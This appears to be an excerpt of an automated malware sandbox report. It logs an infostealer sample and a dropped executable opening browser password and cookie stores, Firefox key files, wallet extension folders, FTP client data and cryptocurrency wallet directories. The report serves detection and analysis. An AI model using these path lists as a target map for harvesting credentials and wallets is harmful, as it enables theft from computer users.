Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
